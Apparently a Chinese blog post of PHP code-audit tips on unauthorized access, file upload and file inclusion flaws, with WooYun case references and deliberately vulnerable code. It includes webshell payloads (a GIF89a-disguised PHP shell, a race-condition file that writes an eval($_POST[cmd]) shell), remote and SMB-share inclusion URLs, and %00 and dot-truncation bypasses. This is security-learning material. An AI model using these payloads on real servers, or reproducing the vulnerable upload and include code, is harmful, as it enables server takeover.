- A+
0x00 总体说明
含:越权访问、文件上传、文件包含、文件下载、文件删除、漏洞防护等tips
0x01 文件越权和上传搜索技巧
1. 越权访问
1.1 文件头未引入像global.php或common.php 的文件极有可能会被越权访问
1.2 搜索技巧:
在etc下查找没有包含“common.php”字符串的php文件
find /etc -name "*.php" | xargs grep -L "common.php"
在etc下查找所有包含“common.php”字符串的PHP文件
find /etc -name "*.php" | xargs grep "common.php"
其他命令参考:http://sundful.iteye.com/blog/1730385
1.3 案例
wooyun-2010-098084
某些文件存在越权访问(无需登录即可访问)
经过WooYun-2015-97939和WooYun-2015-97649的审计得到以下结论:没有包含根目录下global.php的文件,都可以直接访问不会跳转到登陆界面
于是查找可能存在越权访问的文件:
$ find -name "*.php" | xargs grep -L -E "^require_once.+(\.\.\/global|[^/]global)\.php.+;$"
2.文件上传
PS:由于代码获知不全,无法全面剖析
2.1 首先全局搜索type=”file”来判断有没有上传点(关键词”$_FILE”是查找上传文件逻辑处理的地方):
find /code -name "*.php" | xargs grep "type=\"file\"" > a.txt
2.2
xx00也是用的php的框架,所以我们打开主页找mvc框架的影子:
www.xx00.com/gold_auction/auction_details/532
www.xx00.com/index/baoming
根据上面两条和源码结构,判断功能函数在/application/controller/目录下
并且判断出http的请求功能函数时应该遵循domain/action/function/param格式。
2.3 我们打开/application/views/phone_test/display.php,发现上传的action=”upload”
2.4 打开/application/controller/phone_test.php,找到upload函数,分析代码可知存在上传漏洞
from:微信公众号 301在路上
0x02 文件上传漏洞挖掘
文件上传漏洞是一种非常常见的漏洞类型,也是直接获取服务器权限最直接的方式,所以快速发掘一套源码文件上传漏洞进行getshell是这篇要讨论的,主要分为危险函数、上传技巧和条件竞争漏洞三方面展开。
1. 危险函数
move_uploaded_file()
getimagesize()
copy()
2. 知识分类
2.1 危险函数move_uploaded_file() wooyun-2010-0154077
2.2 上传技巧
2.2.1 %00截断 (GPC开启就废 http://www.joychou.org/index.php/web/truncated.html)
案例:wooyun-2010-0138671
<html> <body> <h2> File Upload Vulnerability </h2> <form action="" method="post" enctype="multipart/form-data"> <label>文件:</label> <input type="file" name = "file" > <!-- 选择文件,第二个name是file类型的名字,php中$_FILES第一个参数--> <input type="submit" value="submit" name = "upload"> </form> </body> </html> <?php error_reporting(0); if(isset($_POST['upload'])) { $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp'); $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1); if(in_array($file_ext,$ext_arr)) { $tempFile = $_FILES['file']['tmp_name']; // 这句话的$_REQUEST['jieduan']造成可以利用截断上传 $targetPath = $_SERVER['DOCUMENT_ROOT']."/".$_REQUEST['vul'].rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($tempFile,$targetPath)) { echo '上传成功'.'<br>'; echo "<br \>"; echo '路径:'.$targetPath; } else { echo("上传失败"); } } else { echo("上传失败"); } } ?>
2.2.2 文件头(Gif89a)或者Content-type绕过案例
案例:wooyun-2010-047304
<?php var_dump(getimagesize("shell.php")); ?> #shell.php 内容 GIF89a <?php if(!isset($_POST['c'])){phpinfo();exit();}?>
若无GIF89a,直接PHP文件,会回显bool(false)
2.3 条件竞争漏洞
<?php $path = $_GET('P'); copy("image.jpg",$path); //真实环境里会对目录下非jpg的文件进行删除,这里为了说明问题简单化处理 unlink($path); ?>
image.jpg的代码如下:
<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[cmd]) ?>'); ?>
函数copy() copy成temp.php --> 不断访问temp.php -> temp.php 生成shell.php -> 删除temp.php
案例: wooyun-2013-024919 wooyun-2014-048202 wooyun-2014-049794
0x03 文件包含漏洞
文件包含漏洞产生的原因是传入的文件名没有经过合理的校验,从而让黑客包含了精心构造的文件最终造成的代码注入。所以一套源码快速发掘并利用文件包含getshell是这篇要讨论的,主要分为危险函数、本地文件包含、远程文件包含和截断技巧四方面展开。
0x0a 知识分类
1. 危险函数:include() include_once() require() require_once()
2. 本地文件包含: e.g. wooyun-2010-0159386
3. 远程文件包含:
3.1 普通远程文件包含:条件:allow_url_include=on allow_url_fopen=on 案例:wooyun-2010-0126273
3.2 伪协议 : 条件 all_url_include = on php://input和php:filter
3.3 包含共享文件:条件 all_url_include=on e.g. http://localhost/?bob=\\192.168.1.102\share\index.php
4.截断技巧(PHP5.3 就修复)
4.1 %00截断
(GPC开启就废http://www.joychou.org/index.php/web/truncated.html)
wooyun-2013-042144 wooyun-2010-0151653 wooyun-2010-0182886
4.2 多个./截断
windows 240个. 或者./ 可以阶段 http://localhost/a.php?c=test.txt././././...
linux 2038个/.截断案例
wooyun-2010-02236
wooyun-2010-058128
0x0b本地文件包含
本地文件包含漏洞常用的场景是用户上传头像image.jpg,image.jpg里存在PHP一句话木马,然后我们利用本地文件包含将image.jpg加载进来即可执行一句话命令从而getshell。缺陷代码如下:
<?php include($_GET['action']); ?>
程序本意是获取action并引入action里的功能函数,这里我们上传了头像image.jpg,然后包含进来发现在页面显示了phpinfo的信息:
0x0c 远程文件包含
1. 普通远程文件包含
条件:allow_url_include=on(默认off)、allow_url_fopen=on
<?php include($_GET['action']); ?>
若allow_url_include=off
若all_url_include=On 测试结果如下
2.有限制的远程文件包含
条件:allow_url_include=on
伪协议php://input和php://filter包含
测试发现可以继续愉快的包含了
包含共享文件
这种情况是你可以传到文件到内网某台服务器192.168.192.129,假如这台服务器是ftp是开了共享的就可以通过下面方法进行包含:
http://localhost/fileinclude.php?action=\\192.168.192.129\share\test.txt
0x0d 截断技巧
1.PHP%00截断
截断条件:
①PHP版本小于5.3.4,详情请查看[CVE-2006-7243](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7243)
②magic_quotes_gpc=Off,否则%00这种空字符会被转义为\0
搭建好满足上面两个条件的测试环境后,可以用下面的漏洞代码来测试:
<?php include($_GET['action'].".zip" ); ?>
不同之处是这里后面强制加了zip的后缀,所以需要通过截断的技巧来继续包含
2.多个./截断
截断条件:PHP版本小于5.3
Windows240个.或者./可以截断
测试240个点截断成功如下图(win10 据实际测试233个.也可以成功,但少一个便会报错):
last-update
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫